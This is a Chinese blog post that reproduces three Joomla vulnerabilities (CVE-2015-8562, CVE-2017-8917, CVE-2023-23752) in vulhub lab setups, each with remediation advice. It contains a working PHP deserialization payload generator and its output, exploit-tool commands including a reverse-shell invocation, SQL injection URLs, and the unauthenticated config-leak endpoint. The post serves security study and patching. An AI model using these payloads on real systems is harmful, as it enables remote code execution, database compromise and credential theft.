Joomla 常见漏洞复现

0x01:CVE-2015-8562(Joomla 3.4.5 反序列化漏洞)

1.漏洞描述&环境搭建

跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。

环境搭建:下载vulhub项目,目录切换到joomla下的cve-2015-8562下运行:

docker-compose up -d

启动后访问http://your-ip:8080/即可看到Joomla的安装界面,当前环境的数据库信息为:

  • 数据库地址:mysql:3306
  • 用户:root
  • 密码:root
  • 数据库名:joomla

填入上述信息,正常安装即可

2.漏洞复现

影响范围:

Joomla 1.5.x, 2.x, and 3.x before 3.4.6

PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

然后我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

#返回的cookie
Set-Cookie: 9140d5f510f1adf340978e515c64adff=a5a01565ecf110a363ea8dbcb221a7a4

再用如下脚本生成POC:(在线运行

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆

将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行,也可以直接用前辈写好的exp:https://github.com/kiks7/rusty_joomla_rce

python3 rusty_joomla_exploit.py -t http://10.211.55.2:8080/

反弹shell:

python3 rusty_joomla_exploit.py -t http://10.211.55.2:8080/  --exploit --lhost 10.211.55.2 --lport 9999

3.修复建议

Joomla团队已经在后续的版本中修复了这个漏洞,并强烈建议用户升级到更高版本以确保安全性。升级到Joomla的最新版本或修复版本,以避免受到这个漏洞的影响

0x02:CVE-2017-8917(Joomla 3.7.0 SQL注入漏洞)

1.漏洞描述&环境搭建

Joomla是一套世界第二流行的内容管理系统。它使用的是PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行,目前由开放源码组织Open Source Matters进行开发与支持。

Joomla 3.7版本后引入一个新的组件 “com_fields”,这一组件会引发易被利用的漏洞,并且不需要受害者网站上的高权限,这意味着任何人都可以通过对站点恶意访问利用这个漏洞。

环境搭建:同上

启动后访问http://your-ip:8080即可看到Joomla的安装界面,当前环境的数据库信息为:

数据库主机名:mysql:3306 用户:root 密码:root 数据库名:joomla 填入上述信息,正常安装即可。

2.漏洞复现

影响范围:com_fields组件是在3.7版本添加的,如果你使用此版本,将受到影响,并应尽快更新。这个组件可以公开访问,意味着任何能访问你站点的用户都可以发起攻击

直接访问:

poc:

Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x7e,concat(0x7e,user()),0x7e)
Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(666,concat(0x3a,version(),0x3a))

3.修复建议

这个漏洞是由于list[fullordering]参数用户可控,后端代码并没有进行有效过滤导致SQL语句拼接形成order by的注入,修复方案是执行语句获取list.ordering值进行了白名单过滤,在存储状态的时候就将攻击代码覆盖了,那么在执行语句之前取的值自然就不包含攻击代码了

0x03:CVE-2023-23752(Joomla未授权访问漏洞)

1.漏洞描述&环境搭建

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

环境搭建:同上

2.漏洞复现

影响范围:4.0.0 <= Joomla <= 4.2.7

访问:/api/index.php/v1/config/application?public=true,返回数据库相关信息

使用账户密码登录数据库:

3.修改建议

升级JoomlaCMS版本到 4.2.8


代码分析参考链接:

https://www.freebuf.com/vuls/358593.html

posted @ 2023-08-27 11:22  Arrest  阅读(766)  评论(0编辑  收藏  举报